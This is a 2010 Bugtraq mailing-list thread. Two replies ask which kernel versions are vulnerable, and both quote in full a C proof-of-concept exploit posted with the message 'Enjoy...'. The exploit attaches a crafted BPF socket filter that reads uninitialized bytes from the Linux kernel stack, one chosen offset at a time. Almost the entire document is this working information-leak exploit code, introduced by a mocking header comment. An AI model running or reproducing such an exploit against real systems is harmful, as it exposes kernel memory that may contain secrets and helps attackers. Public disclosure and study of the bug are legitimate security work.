bugtraq - Re: Kernel 0-day

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Message-ID: <4CE4845A.7060708@gmail.com>
Date: Wed, 17 Nov 2010 23:41:46 -0200
From: Felipe Martins <martins.felipe.security@...il.com>
To: bugtraq@...urityfocus.com
Subject: Re: Kernel 0-day

Dan,

     What kernel versions are vulnerable to this one ?

Felipe

On 10/11/2010 17:05, James Lay wrote:
> What kernel version(s) is/are impacted?  Tried on one and no workie.
>
> James
>
>
> On 11/9/10 3:18 PM, "Dan Rosenberg"<dan.j.rosenberg@...il.com>  wrote:
>
>> Enjoy...
>>
>> -Dan
>>
>>
>> /*
>> * You've done it.  After hours of gdb and caffeine, you've finally got a
>> shell
>> * on your target's server.  Maybe next time they will think twice about
>> * running MyFirstCompSciProjectFTPD on a production machine.  As you take
>> * another sip of Mountain Dew and pick some of the cheetos out of your
>> beard,
>> * you begin to plan your next move - it's time to tackle the kernel.
>> *
>> * What should be your goal?  Privilege escalation?  That's impossible,
>> there's
>> * no such thing as a privilege escalation vulnerability on Linux.
>> Denial of
>> * service?  What are you, some kind of script kiddie?  No, the answer is
>> * obvious.  You must read the uninitialized bytes of the kernel stack,
>> since
>> * these bytes contain all the secrets of the universe and the meaning of
>> life.
>> *
>> * How can you accomplish this insidious feat?  You immediately discard
>> the
>> * notion of looking for uninitialized struct members that are copied
>> back to
>> * userspace, since you clearly need something far more elite.  In order
>> to
>> * prove your superiority, your exploit must be as sophisticated as your
>> taste
>> * in obscure electronic music.  After scanning the kernel source for good
>> * candidates, you find your target and begin to code...
>> *
>> * by Dan Rosenberg
>> *
>> * Greets to kees, taviso, jono, spender, hawkes, and bla
>> *
>> */
>>
>> #include<string.h>
>> #include<stdio.h>
>> #include<netinet/in.h>
>> #include<sys/socket.h>
>> #include<unistd.h>
>> #include<stdlib.h>
>> #include<linux/filter.h>
>>
>> #define PORT 37337
>>
>> int transfer(int sendsock, int recvsock)
>> {
>>
>>     struct sockaddr_in addr;
>>     char buf[512];
>>     int len = sizeof(addr);
>>
>>     memset(buf, 0, sizeof(buf));
>>
>>     if (fork())
>>         return recvfrom(recvsock, buf, 512, 0, (struct sockaddr *)&addr,
>> &len);
>>
>>     sleep(1);
>>
>>     memset(&addr, 0, sizeof(addr));
>>     addr.sin_family = AF_INET;
>>     addr.sin_port = htons(PORT);
>>     addr.sin_addr.s_addr = inet_addr("127.0.0.1");
>>
>>     sendto(sendsock, buf, 512, 0, (struct sockaddr *)&addr, len);
>>
>>     exit(0);
>>
>> }
>>
>> int main(int argc, char * argv[])
>> {
>>
>>     int sendsock, recvsock, ret;
>>     unsigned int val;
>>     struct sockaddr_in addr;
>>     struct sock_fprog fprog;
>>     struct sock_filter filters[5];
>>
>>     if (argc != 2) {
>>         printf("[*] Usage: %s offset (0-63)\n", argv[0]);
>>         return -1;
>>     }
>>
>>     val = atoi(argv[1]);
>>
>>     if (val>  63) {
>>         printf("[*] Invalid byte offset (must be 0-63)\n");
>>         return -1;
>>     }
>>
>>     recvsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
>>     sendsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
>>
>>     if (recvsock<  0 || sendsock<  0) {
>>         printf("[*] Could not create sockets.\n");
>>         return -1;
>>     }
>>
>>     memset(&addr, 0, sizeof(addr));
>>     addr.sin_family = AF_INET;
>>     addr.sin_port = htons(PORT);
>>     addr.sin_addr.s_addr = htonl(INADDR_ANY);
>>
>>     if (bind(recvsock, (struct sockaddr *)&addr, sizeof(addr))<  0) {
>>         printf("[*] Could not bind socket.\n");
>>         return -1;
>>     }
>>
>>     memset(&fprog, 0, sizeof(fprog));
>>     memset(filters, 0, sizeof(filters));
>>
>>     filters[0].code = BPF_LD|BPF_MEM;
>>     filters[0].k = (val&  ~0x3) / 4;
>>
>>     filters[1].code = BPF_ALU|BPF_AND|BPF_K;
>>     filters[1].k = 0xff<<  ((val % 4) * 8);
>>
>>     filters[2].code = BPF_ALU|BPF_RSH|BPF_K;
>>     filters[2].k = (val % 4) * 8;
>>
>>     filters[3].code = BPF_ALU|BPF_ADD|BPF_K;
>>     filters[3].k = 256;
>>
>>     filters[4].code = BPF_RET|BPF_A;
>>
>>     fprog.len = 5;
>>     fprog.filter = filters;
>>
>>     if (setsockopt(recvsock, SOL_SOCKET, SO_ATTACH_FILTER,&fprog,
>> sizeof(fprog))<  0) {
>>         printf("[*] Failed to install filter.\n");
>>         return -1;
>>     }
>>
>>     ret = transfer(sendsock, recvsock);
>>
>>     printf("[*] Your byte: 0x%.02x\n", ret - 248);
>>
>> }
>>
>

-- 
Felipe Martins<BR>
Security Analyst<BR>
E-mail: martins.felipe.security@...il.com<BR>
Skype: martins.felipe<BR>